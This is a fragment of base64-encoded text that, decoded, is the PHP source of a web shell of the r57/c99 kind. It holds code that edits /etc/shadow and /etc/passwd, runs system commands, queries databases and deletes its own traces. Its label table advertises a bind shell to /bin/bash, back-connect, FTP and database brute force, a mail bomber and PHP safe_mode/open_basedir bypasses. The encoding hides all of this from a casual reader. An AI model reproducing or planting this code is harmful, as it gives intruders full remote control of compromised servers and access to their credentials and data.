b250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPkJhc2U6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5h bWU9bXlzcWxfZGIgdmFsdWU9XCIiLiRzcWwtPmJhc2UuIlwiPjwvZm9udD48YnI+IjsNCmVjaG8g Ijx0ZXh0YXJlYSBjb2xzPTY1IHJvd3M9MTAgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NU WydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTO1xuU0VM RUNUICogRlJPTSB1c2VyOyIpKS4iPC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5h bWU9c3VibWl0IHZhbHVlPVwiIFJ1biBTUUwgcXVlcnkgXCI+PC9kaXY+PGJyPjxicj4iOw0KZWNo byAiPC9mb3JtPiI7DQplY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJk YW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9h PiBdPC9iPjwvZm9udD48L2Rpdj4iO2RpZSgpOw0KfQ0KaWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSdd KSkNCnsNCkB1bmxpbmsoX19GSUxFX18pOw0KfQ0KaWYoaXNzZXQoJF9HRVRbJ3RtcCddKSkNCnsN CkB1bmxpbmsoIi90bXAvYmRwbCIpOw0KQHVubGluaygiL3RtcC9iYWNrIik7DQpAdW5saW5rKCIv dG1wL2JkIik7DQpAdW5saW5rKCIvdG1wL2JkLmMiKTsNCkB1bmxpbmsoIi90bXAvZHAiKTsNCkB1 bmxpbmsoIi90bXAvZHBjIik7DQpAdW5saW5rKCIvdG1wL2RwYy5jIik7DQpAdW5saW5rKCIvdG1w L3ByeHBsIik7DQpAdW5saW5rKCIvdG1wL2dyZXAudHh0Iik7DQp9DQppZihpc3NldCgkX0dFVFsn cGhwaW5pJ10pKQ0Kew0KZWNobyAkaGVhZDsNCmZ1bmN0aW9uIFVfdmFsdWUoJHZhbHVlKQ0Kew0K aWYgKCR2YWx1ZSA9PSAnJykgcmV0dXJuICc8aT5ubyB2YWx1ZTwvaT4nOw0KaWYgKEBpc19ib29s KCR2YWx1ZSkpIHJldHVybiAkdmFsdWUgPydUUlVFJzogJ0ZBTFNFJzsNCmlmICgkdmFsdWUgPT09 IG51bGwpIHJldHVybiAnTlVMTCc7DQppZiAoQGlzX29iamVjdCgkdmFsdWUpKSAkdmFsdWUgPSAo YXJyYXkpICR2YWx1ZTsNCmlmIChAaXNfYXJyYXkoJHZhbHVlKSkNCnsNCkBvYl9zdGFydCgpOw0K cHJpbnRfcigkdmFsdWUpOw0KJHZhbHVlID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9j bGVhbigpOw0KfQ0KcmV0dXJuIFVfd29yZHdyYXAoKHN0cmluZykgJHZhbHVlKTsNCn0NCmZ1bmN0 aW9uIFVfd29yZHdyYXAoJHN0cikNCnsNCiRzdHIgPSBAd29yZHdyYXAoQGh0bWxzcGVjaWFsY2hh cnMoJHN0ciksMTAwLCc8d2JyIC8+Jyx0cnVlKTsNCnJldHVybiBAcHJlZ19yZXBsYWNlKCchKCZb XjtdKik8d2JyIC8+KFteO10qOykhJywnJDEkMjx3YnIgLz4nLCRzdHIpOw0KfQ0KaWYgKEBmdW5j dGlvbl9leGlzdHMoJ2luaV9nZXRfYWxsJykpDQp7DQokciA9ICcnOw0KZWNobyAnPHRhYmxlIHdp ZHRoPTEwMCU+JywnPHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PGZvbnQgZmFjZT1WZXJkYW5hIHNp emU9LTIgY29sb3I9cmVkPjxkaXYgYWxpZ249Y2VudGVyPjxiPkRpcmVjdGl2ZTwvYj48L2Rpdj48 L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0y IGNvbG9yPXJlZD48ZGl2IGFsaWduPWNlbnRlcj48Yj5Mb2NhbCBWYWx1ZTwvYj48L2Rpdj48L2Zv bnQ+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNv bG9yPXJlZD48ZGl2IGFsaWduPWNlbnRlcj48Yj5NYXN0ZXIgVmFsdWU8L2I+PC9kaXY+PC9mb250 PjwvdGQ+PC90cj4nOw0KZm9yZWFjaCAoQGluaV9nZXRfYWxsKCkgYXMgJGtleT0+JHZhbHVlKQ0K ew0KJHIgLj0gJzx0cj48dGQ+Jy53cygzKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+ Jy4ka2V5Lic8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxk aXYgYWxpZ249Y2VudGVyPjxiPicuVV92YWx1ZSgkdmFsdWVbJ2xvY2FsX3ZhbHVlJ10pLic8L2I+ PC9kaXY+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxp Z249Y2VudGVyPjxiPicuVV92YWx1ZSgkdmFsdWVbJ2dsb2JhbF92YWx1ZSddKS4nPC9iPjwvZGl2 PjwvZm9udD48L3RkPjwvdHI+JzsNCn0NCmVjaG8gJHI7DQplY2hvICc8L3RhYmxlPic7DQp9DQpl Y2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+ WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48 L2Rpdj4iOw0KZGllKCk7DQp9DQppZihpc3NldCgkX0dFVFsnY3B1J10pKQ0Kew0KZWNobyAkaGVh ZDsNCmVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxkaXYg YWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5DUFU8 L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7DQok Y3B1ZiA9IEBmaWxlKCJjcHVpbmZvIik7DQppZigkY3B1ZikNCnsNCiRjID0gQHNpemVvZigkY3B1 Zik7DQpmb3IoJGk9MDskaTwkYzskaSsrKQ0Kew0KJGluZm8gPSBAZXhwbG9kZSgiOiIsJGNwdWZb JGldKTsNCmlmKCRpbmZvWzFdPT0iIil7JGluZm9bMV09Ii0tLSI7fQ0KJHIgLj0gJzx0cj48dGQ+ Jy53cygzKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy50cmltKCRpbmZvWzBdKS4n PC9iPjwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWdu PWNlbnRlcj48Yj4nLnRyaW0oJGluZm9bMV0pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4n Ow0KfQ0KZWNobyAkcjsNCn0NCmVsc2UNCnsNCmVjaG8gJzx0cj48dGQ+Jy53cygzKS4nPGRpdiBh bGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+IC0tLSA8L2I+PC9mb250 PjwvZGl2PjwvdGQ+PC90cj4nOw0KfQ0KZWNobyAnPC90YWJsZT4nOw0KZWNobyAiPGJyPjxkaXYg YWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRf U0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCmRpZSgp Ow0KfQ0KaWYoaXNzZXQoJF9HRVRbJ21lbSddKSkNCnsNCmVjaG8gJGhlYWQ7DQplY2hvICc8dGFi bGUgd2lkdGg9MTAwJT48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48ZGl2IGFsaWduPWNlbnRlcj48 Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+TUVNT1JZPC9iPjwvZm9udD48 L2Rpdj48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9MTAwJT4nOw0KJG1lbWYgPSBAZmls ZSgibWVtaW5mbyIpOw0KaWYoJG1lbWYpDQp7DQokYyA9IHNpemVvZigkbWVtZik7DQpmb3IoJGk9 MDskaTwkYzskaSsrKQ0Kew0KJGluZm8gPSBleHBsb2RlKCI6IiwkbWVtZlskaV0pOw0KaWYoJGlu Zm9bMV09PSIiKXskaW5mb1sxXT0iLS0tIjt9DQokciAuPSAnPHRyPjx0ZD4nLndzKDMpLic8Zm9u dCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250Pjwv dGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicu dHJpbSgkaW5mb1sxXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQp9DQplY2hvICRy Ow0KfQ0KZWxzZQ0Kew0KZWNobyAnPHRyPjx0ZD4nLndzKDMpLic8ZGl2IGFsaWduPWNlbnRlcj48 Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4gLS0tIDwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48 L3RyPic7DQp9DQplY2hvICc8L3RhYmxlPic7DQplY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+ PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9T RUxGJ10uIj5ncmVlbjwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCmRpZSgpOw0KfQ0KaWYoaXNz ZXQoJF9HRVRbJ2RtZXNnKDgpJ10pKQ0KeyRfUE9TVFsnY21kJ10gPSAnZG1lc2coOCknO30NCmlm KGlzc2V0KCRfR0VUWydmcmVlJ10pKQ0KeyRfUE9TVFsnY21kJ10gPSAnZnJlZSc7fQ0KaWYoaXNz ZXQoJF9HRVRbJ3Ztc3RhdCddKSkNCnskX1BPU1RbJ2NtZCddID0gJ3Ztc3RhdCc7fQ0KaWYoaXNz ZXQoJF9HRVRbJ2xzcGNpJ10pKQ0KeyRfUE9TVFsnY21kJ10gPSAnbHNwY2knO30NCmlmKGlzc2V0 KCRfR0VUWydsc2RldiddKSkNCnskX1BPU1RbJ2NtZCddID0gJ2xzZGV2Jzt9DQppZihpc3NldCgk X0dFVFsncHJvY2luZm8nXSkpDQp7JF9QT1NUWydjbWQnXT0nY2F0IC9wcm9jL2NwdWluZm8nO30N CmlmKGlzc2V0KCRfR0VUWyd2ZXJzaW9uJ10pKQ0KeyRfUE9TVFsnY21kJ109J2NhdCAvcHJvYy92 ZXJzaW9uJzt9DQppZihpc3NldCgkX0dFVFsnaW50ZXJydXB0cyddKSkNCnskX1BPU1RbJ2NtZCdd PSdjYXQgL3Byb2MvaW50ZXJydXB0cyc7fQ0KaWYoaXNzZXQoJF9HRVRbJ3JlYWxpc2UxJ10pKQ0K eyRfUE9TVFsnY21kJ10gPSAnY2F0IC9ldGMvKnJlYWxpc2UnO30NCmlmKGlzc2V0KCRfR0VUWydz ZXJ2aWNlJ10pKQ0KeyRfUE9TVFsnY21kJ10gPSAnc2VydmljZSAtLXN0YXR1cy1hbGwnO30NCmlm KGlzc2V0KCRfR0VUWydpZmNvbmZpZyddKSkNCnskX1BPU1RbJ2NtZCddID0gJ2lmY29uZmlnJzt9 DQppZihpc3NldCgkX0dFVFsndyddKSkNCnskX1BPU1RbJ2NtZCddID0gJ3cnO30NCmlmKGlzc2V0 KCRfR0VUWyd3aG8nXSkpDQp7JF9QT1NUWydjbWQnXSA9ICd3aG8nO30NCmlmKGlzc2V0KCRfR0VU Wyd1cHRpbWUnXSkpDQp7JF9QT1NUWydjbWQnXSA9ICd1cHRpbWUnO30NCmlmKGlzc2V0KCRfR0VU WydsYXN0J10pKQ0KeyRfUE9TVFsnY21kJ10gPSAnbGFzdCAtbiAxMCc7fQ0KaWYoaXNzZXQoJF9H RVRbJ3BzYXV4J10pKQ0KeyRfUE9TVFsnY21kJ10gPSAncHMgLWF1eCc7fQ0KaWYoaXNzZXQoJF9H RVRbJ25ldHN0YXQnXSkpDQp7JF9QT1NUWydjbWQnXSA9ICduZXRzdGF0IC1hJzt9DQppZihpc3Nl dCgkX0dFVFsnbHNhdHRyJ10pKQ0KeyRfUE9TVFsnY21kJ10gPSAnbHNhdHRyIC12YSc7fQ0KaWYo aXNzZXQoJF9HRVRbJ3N5c2xvZyddKSkNCnskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9T VFsnZV9uYW1lJ10gPSAnL2V0Yy9zeXNsb2cuY29uZic7fQ0KaWYoaXNzZXQoJF9HRVRbJ2ZzdGFi J10pKQ0KeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRj L2ZzdGFiJzt9DQppZihpc3NldCgkX0dFVFsnZmRpc2snXSkpDQp7JF9QT1NUWydjbWQnXSA9ICdm ZGlzayAtbCc7fQ0KaWYoaXNzZXQoJF9HRVRbJ2RmJ10pKQ0KeyRfUE9TVFsnY21kJ10gPSAnZGYg LWgnO30NCmlmKGlzc2V0KCRfR0VUWydyZWFsaXNlMiddKSkNCnskX1BPU1RbJ2NtZCddPSdlZGl0 X2ZpbGUnOyRfUE9TVFsnZV9uYW1lJ10gPSAnL2V0Yy9pc3N1ZS5uZXQnO30NCmlmKGlzc2V0KCRf R0VUWydob3N0cyddKSkNCnskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1l J10gPSAnL2V0Yy9ob3N0cyc7fQ0KaWYoaXNzZXQoJF9HRVRbJ3Jlc29sdiddKSkNCnskX1BPU1Rb J2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1lJ10gPSAnL2V0Yy9yZXNvbHYuY29uZic7 fQ0KaWYoaXNzZXQoJF9HRVRbJ3N5c3RlbWluZm8nXSkpDQp7JF9QT1NUWydjbWQnXSA9ICdzeXN0 ZW1pbmZvJzt9DQppZihpc3NldCgkX0dFVFsnc2hhZG93J10pKQ0KeyRfUE9TVFsnY21kJ109J2Vk aXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL3NoYWRvdyc7fQ0KaWYoaXNzZXQoJF9H RVRbJ3Bhc3N3ZCddKSkNCnskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1l J10gPSAnL2V0Yy9wYXNzd2QnO30NCiRsYW5nPWFycmF5KA0KJ3RyX3RleHQxJz0+J0V4ZWN1dGVk IGNvbW1hbmQnLA0KJ3RyX3RleHQyJz0+J0V4ZWN1dGUgY29tbWFuZCBvbiBzZXJ2ZXInLA0KJ3Ry X3RleHQzJz0+J1J1biBjb21tYW5kJywNCid0cl90ZXh0NCc9PidXb3JrIGRpcmVjdG9yeScsDQon dHJfdGV4dDUnPT4nVXBsb2FkIGZpbGVzIG9uIHNlcnZlcicsDQondHJfdGV4dDYnPT4nTG9jYWwg ZmlsZScsDQondHJfdGV4dDcnPT4nQWxpYXNlcycsDQondHJfdGV4dDgnPT4nU2VsZWN0IGFsaWFz JywNCid0cl9idXR0MSc9PidFeGVjdXRlJywNCid0cl9idXR0Mic9PidVcGxvYWQnLA0KJ3RyX3Rl eHQ5Jz0+J0JpbmQgcG9ydCB0byAvYmluL2Jhc2gnLA0KJ3RyX3RleHQxMCc9PidQb3J0JywNCid0 cl90ZXh0MTEnPT4nUGFzc3dvcmQgZm9yIGFjY2VzcycsDQondHJfYnV0dDMnPT4nQmluZCcsDQon dHJfdGV4dDEyJz0+J0JhY2stQ29ubmVjdCcsDQondHJfdGV4dDEzJz0+J0lQJywNCid0cl90ZXh0 MTQnPT4nUG9ydCcsDQondHJfYnV0dDQnPT4nQ29ubmVjdCcsDQondHJfdGV4dDE1Jz0+J1VwbG9h ZCBmaWxlcyBmcm9tIHJlbW90ZSBzZXJ2ZXInLA0KJ3RyX3RleHQxNic9PidXaXRoJywNCid0cl90 ZXh0MTcnPT4nUmVtb3RlIGZpbGUnLA0KJ3RyX3RleHQxOCc9PidMb2NhbCBmaWxlJywNCid0cl90 ZXh0MTknPT4nRXhwbG9pdHMnLA0KJ3RyX3RleHQyMCc9PidVc2UnLA0KJ3RyX3RleHQyMSc9Picm bmJzcDtOZXcgbmFtZScsDQondHJfdGV4dDIyJz0+J2RhdGFwaXBlJywNCid0cl90ZXh0MjMnPT4n TG9jYWwgcG9ydCcsDQondHJfdGV4dDI0Jz0+J1JlbW90ZSBob3N0JywNCid0cl90ZXh0MjUnPT4n UmVtb3RlIHBvcnQnLA0KJ3RyX3RleHQyNic9PidVc2UnLA0KJ3RyX2J1dHQ1Jz0+J1J1bicsDQon dHJfdGV4dDI4Jz0+J1dvcmsgaW4gc2FmZV9tb2RlJywNCid0cl90ZXh0MjknPT4nQUNDRVNTIERF TklFRCcsDQondHJfYnV0dDYnPT4nQ2hhbmdlJywNCid0cl90ZXh0MzAnPT4nQ2F0IGZpbGUnLA0K J3RyX2J1dHQ3Jz0+J1Nob3cnLA0KJ3RyX3RleHQzMSc9PidGaWxlIG5vdCBmb3VuZCcsDQondHJf dGV4dDMyJz0+J0V2YWwgUEhQIGNvZGUnLA0KJ3RyX3RleHQzMyc9PidUZXN0IGJ5cGFzcyBvcGVu X2Jhc2VkaXIgd2l0aCBjVVJMIGZ1bmN0aW9ucyhQSFAgPD0gNC40LjIsIDUuMS40KScsDQondHJf YnV0dDgnPT4nVGVzdCcsDQondHJfdGV4dDM0Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB3aXRo IGluY2x1ZGUgZnVuY3Rpb24nLA0KJ3RyX3RleHQzNSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUg d2l0aCBsb2FkIGZpbGUgaW4gbXlzcWwnLA0KJ3RyX3RleHQzNic9PidEYXRhYmFzZSAuIFRhYmxl JywNCid0cl90ZXh0MzcnPT4nTG9naW4nLA0KJ3RyX3RleHQzOCc9PidQYXNzd29yZCcsDQondHJf dGV4dDM5Jz0+J0RhdGFiYXNlJywNCid0cl90ZXh0NDAnPT4nRHVtcCBkYXRhYmFzZSB0YWJsZScs DQondHJfYnV0dDknPT4nRHVtcCcsDQondHJfdGV4dDQxJz0+J1NhdmUgZHVtcCBpbiBmaWxlJywN Cid0cl90ZXh0NDInPT4nRWRpdCBmaWxlcycsDQondHJfdGV4dDQzJz0+J0ZpbGUgZm9yIGVkaXQn LA0KJ3RyX2J1dHQxMCc9PidTYXZlJywNCid0cl90ZXh0NDQnPT4nQ2FuXCd0IGVkaXQgZmlsZSEg T25seSByZWFkIGFjY2VzcyEnLA0KJ3RyX3RleHQ0NSc9PidGaWxlIHNhdmVkJywNCid0cl90ZXh0 NDYnPT4nU2hvdyBwaHBpbmZvKCknLA0KJ3RyX3RleHQ0Nyc9PidTaG93IHZhcmlhYmxlcyBmcm9t IHBocC5pbmknLA0KJ3RyX3RleHQ0OCc9PidEZWxldGUgdGVtcCBmaWxlcycsDQondHJfYnV0dDEx Jz0+J0VkaXQgZmlsZScsDQondHJfdGV4dDQ5Jz0+J0RlbGV0ZSBzY3JpcHQgZnJvbSBzZXJ2ZXIn LA0KJ3RyX3RleHQ1MCc9PidWaWV3IGNwdSBpbmZvJywNCid0cl90ZXh0NTEnPT4nVmlldyBtZW1v cnkgaW5mbycsDQondHJfdGV4dDUyJz0+J0ZpbmQgdGV4dCcsDQondHJfdGV4dDUzJz0+J0luIGRp cnMnLA0KJ3RyX3RleHQ1NCc9PidGaW5kIHRleHQgaW4gZmlsZXMnLA0KJ3RyX2J1dHQxMic9PidG aW5kJywNCid0cl90ZXh0NTUnPT4nT25seSBpbiBmaWxlcycsDQondHJfdGV4dDU2Jz0+J05vdGhp bmcgOignLA0KJ3RyX3RleHQ1Nyc9PidDcmVhdGUvRGVsZXRlIEZpbGUvRGlyJywNCid0cl90ZXh0 NTgnPT4nbmFtZScsDQondHJfdGV4dDU5Jz0+J2ZpbGUnLA0KJ3RyX3RleHQ2MCc9PidkaXInLA0K J3RyX2J1dHQxMyc9PidDcmVhdGUvRGVsZXRlJywNCid0cl90ZXh0NjEnPT4nRmlsZSBjcmVhdGVk JywNCid0cl90ZXh0NjInPT4nRGlyIGNyZWF0ZWQnLA0KJ3RyX3RleHQ2Myc9PidGaWxlIGRlbGV0 ZWQnLA0KJ3RyX3RleHQ2NCc9PidEaXIgZGVsZXRlZCcsDQondHJfdGV4dDY1Jz0+J0NyZWF0ZScs DQondHJfdGV4dDY2Jz0+J0RlbGV0ZScsDQondHJfdGV4dDY3Jz0+J0Nob3duL0NoZ3JwL0NobW9k JywNCid0cl90ZXh0NjgnPT4nQ29tbWFuZCcsDQondHJfdGV4dDY5Jz0+J3BhcmFtMScsDQondHJf dGV4dDcwJz0+J3BhcmFtMicsDQondHJfdGV4dDcxJz0+IlNlY29uZCBjb21tYW5kcyBwYXJhbSBp czpcclxuLSBmb3IgQ0hPV04gLSBuYW1lIG9mIG5ldyBvd25lciBvciBVSURcclxuLSBmb3IgQ0hH UlAgLSBncm91cCBuYW1lIG9yIEdJRFxyXG4tIGZvciBDSE1PRCAtIDA3NzcsIDA3NTUuLi4iLA0K J3RyX3RleHQ3Mic9PidUZXh0IGZvciBmaW5kJywNCid0cl90ZXh0NzMnPT4nRmluZCBpbiBmb2xk ZXInLA0KJ3RyX3RleHQ3NCc9PidGaW5kIGluIGZpbGVzJywNCid0cl90ZXh0NzUnPT4nKiB5b3Ug Y2FuIHVzZSByZWdleHAnLA0KJ3RyX3RleHQ3Nic9PidTZWFyY2ggdGV4dCBpbiBmaWxlcyB2aWEg ZmluZCcsDQondHJfdGV4dDgwJz0+J1R5cGUnLA0KJ3RyX3RleHQ4MSc9PidOZXQnLA0KJ3RyX3Rl eHQ4Mic9PidEYXRhYmFzZXMnLA0KJ3RyX3RleHQ4Myc9PidSdW4gU1FMIHF1ZXJ5JywNCid0cl90 ZXh0ODQnPT4nU1FMIHF1ZXJ5JywNCid0cl90ZXh0ODUnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2Rl IHdpdGggY29tbWFuZHMgZXhlY3V0ZSB2aWEgTVNTUUwgc2VydmVyJywNCid0cl90ZXh0ODYnPT4n RG93bmxvYWQgZmlsZXMgZnJvbSBzZXJ2ZXInLA0KJ3RyX2J1dHQxNCc9PidEb3dubG9hZCcsDQon dHJfdGV4dDg3Jz0+J0Rvd25sb2FkIGZpbGVzIGZyb20gcmVtb3RlIGZ0cC1zZXJ2ZXInLA0KJ3Ry X3RleHQ4OCc9PidzZXJ2ZXI6cG9ydCcsDQondHJfdGV4dDg5Jz0+J0ZpbGUgb24gZnRwJywNCid0 cl90ZXh0OTAnPT4nVHJhbnNmZXIgbW9kZScsDQondHJfdGV4dDkxJz0+J0FyY2hpdmF0aW9uJywN Cid0cl90ZXh0OTInPT4nd2l0aG91dCBhcmNoLicsDQondHJfdGV4dDkzJz0+J0ZUUCcsDQondHJf dGV4dDk0Jz0+J0ZUUC1icnV0ZWZvcmNlJywNCid0cl90ZXh0OTUnPT4nVXNlcnMgbGlzdCcsDQon dHJfdGV4dDk2Jz0+J0NhblwndCBnZXQgdXNlcnMgbGlzdCcsDQondHJfdGV4dDk3Jz0+J2NoZWNr ZWQ6ICcsDQondHJfdGV4dDk4Jz0+J3N1Y2Nlc3M6ICcsDQondHJfdGV4dDk5Jz0+Jy9ldGMvcGFz c3dkJywNCid0cl90ZXh0MTAwJz0+J1NlbmQgZmlsZSB0byByZW1vdGUgZnRwIHNlcnZlcicsDQon dHJfdGV4dDEwMSc9PidVc2UgcmV2ZXJzZSAodXNlciAtPiByZXN1KScsDQondHJfdGV4dDEwMic9 PidNYWlsJywNCid0cl90ZXh0MTAzJz0+J1NlbmQgZW1haWwnLA0KJ3RyX3RleHQxMDQnPT4nU2Vu ZCBmaWxlIHRvIGVtYWlsJywNCid0cl90ZXh0MTA1Jz0+J1RvJywNCid0cl90ZXh0MTA2Jz0+J0Zy b20nLA0KJ3RyX3RleHQxMDcnPT4nU3ViaicsDQondHJfYnV0dDE1Jz0+J1NlbmQnLA0KJ3RyX3Rl eHQxMDgnPT4nTWFpbCcsDQondHJfdGV4dDEwOSc9PidIaWRlJywNCid0cl90ZXh0MTEwJz0+J1No b3cnLA0KJ3RyX3RleHQxMTEnPT4nU1FMLVNlcnZlciA6IFBvcnQnLA0KJ3RyX3RleHQxMTInPT4n VGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggZnVuY3Rpb24gbWJfc2VuZF9tYWlsIChQSFAgPD0g NC4wLTQuMi4yLCA1LngpJywNCid0cl90ZXh0MTEzJz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSwg dmlldyBkaXIgbGlzdCB2aWEgaW1hcF9saXN0IChQSFAgPD0gNS4xLjIpJywNCid0cl90ZXh0MTE0 Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSwgdmlldyBmaWxlIGNvbnRlc3QgdmlhIGltYXBfYm9k eSAoUEhQIDw9IDUuMS4yKScsDQondHJfdGV4dDExNSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUs IGNvcHkgZmlsZSB2aWEgY29weVtjb21wcmVzcy56bGliOi8vXSAoUEhQIDw9IDQuNC4yLCA1LjEu MiknLA0KJ3RyX3RleHQxMTYnPT4nQ29weSBmcm9tJywNCid0cl90ZXh0MTE3Jz0+J3RvJywNCid0 cl90ZXh0MTE4Jz0+J0ZpbGUgY29waWVkJywNCid0cl90ZXh0MTE5Jz0+J0NhbnQgY29weSBmaWxl JywNCid0cl90ZXh0MTIwJz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB2aWEgaW5pX3Jlc3RvcmUg KFBIUCA8PSA0LjQuNCwgNS4xLjYpIGJ5IE5TVCcsDQondHJfdGV4dDEyMSc9PidUZXN0IGJ5cGFz cyBvcGVuX2Jhc2VkaXIsIHZpZXcgZGlyIGxpc3QgdmlhIGZvcGVuIChQSFAgdjQuNC4wIG1lbW9y eSBsZWFrKSBieSBOU1QnLA0KJ3RyX3RleHQxMjInPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGly LCB2aWV3IGRpciBsaXN0IHZpYSBnbG9iIChQSFAgPD0gNS4yLngpJywNCid0cl90ZXh0MTIzJz0+ J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgcmVhZCAqLmJ6aXAgZmlsZSB2aWEgW2NvbXByZXNz LmJ6aXAyOi8vXSAoUEhQIDw9IDUuMi4xKScsDQondHJfdGV4dDEyNCc9PidUZXN0IGJ5cGFzcyBv cGVuX2Jhc2VkaXIsIGFkZCBkYXRhIHRvIGZpbGUgdmlhIGVycm9yX2xvZ1twaHA6Ly9dIChQSFAg PD0gNS4xLjQsIDQuNC4yKScsDQondHJfdGV4dDEyNSc9PidEYXRhJywNCid0cl90ZXh0MTI2Jz0+ J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgY3JlYXRlIGZpbGUgdmlhIHNlc3Npb25fc2F2ZV9w YXRoW05VTEwtYnl0ZV0gKFBIUCA8PSA1LjIuMCknLA0KJ3RyX3RleHQxMjcnPT4nVGVzdCBieXBh c3Mgb3Blbl9iYXNlZGlyLCBhZGQgZGF0YSB0byBmaWxlIHZpYSByZWFkZmlsZVtwaHA6Ly9dIChQ SFAgPD0gNS4yLjEsIDQuNC40KScsDQondHJfdGV4dDEyOCc9PidNb2RpZnkvQWNjZXNzIGRhdGUo dG91Y2gpJywNCid0cl90ZXh0MTI5Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgY3JlYXRl IGZpbGUgdmlhIGZvcGVuW3NycGF0aDovL10gKFBIUCB2NS4yLjApJywNCid0cl90ZXh0MTMwJz0+ J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgcmVhZCAqLnppcCBmaWxlIHZpYSBbemlwOi8vXSAo UEhQIDw9IDUuMi4xKScsDQondHJfdGV4dDEzMSc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIs IHZpZXcgZmlsZSBjb250ZXN0IHZpYSBzeW1saW5rKCkgKFBIUCA8PSA1LjIuMSknLA0KJ3RyX3Rl eHQxMzInPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCB2aWV3IGRpciBsaXN0IHZpYSBzeW1s aW5rKCkgKFBIUCA8PSA1LjIuMSknLA0KJ3RyX3RleHQxMzMnPT4nJywNCid0cl90ZXh0MTM0Jz0+ J0RhdGFiYXNlLWJydXRlZm9yY2UnLA0KJ3RyX3RleHQxMzUnPT4nRGljdGlvbmFyeScsDQondHJf dGV4dDEzNic9PidDcmVhdGluZyBldmlsIHN5bWxpbmsnLA0KJ3RyX3RleHQxMzcnPT4nVXNlZnVs JywNCid0cl90ZXh0MTM4Jz0+J0Rhbmdlcm91cycsDQondHJfdGV4dDEzOSc9PidNYWlsIEJvbWJl 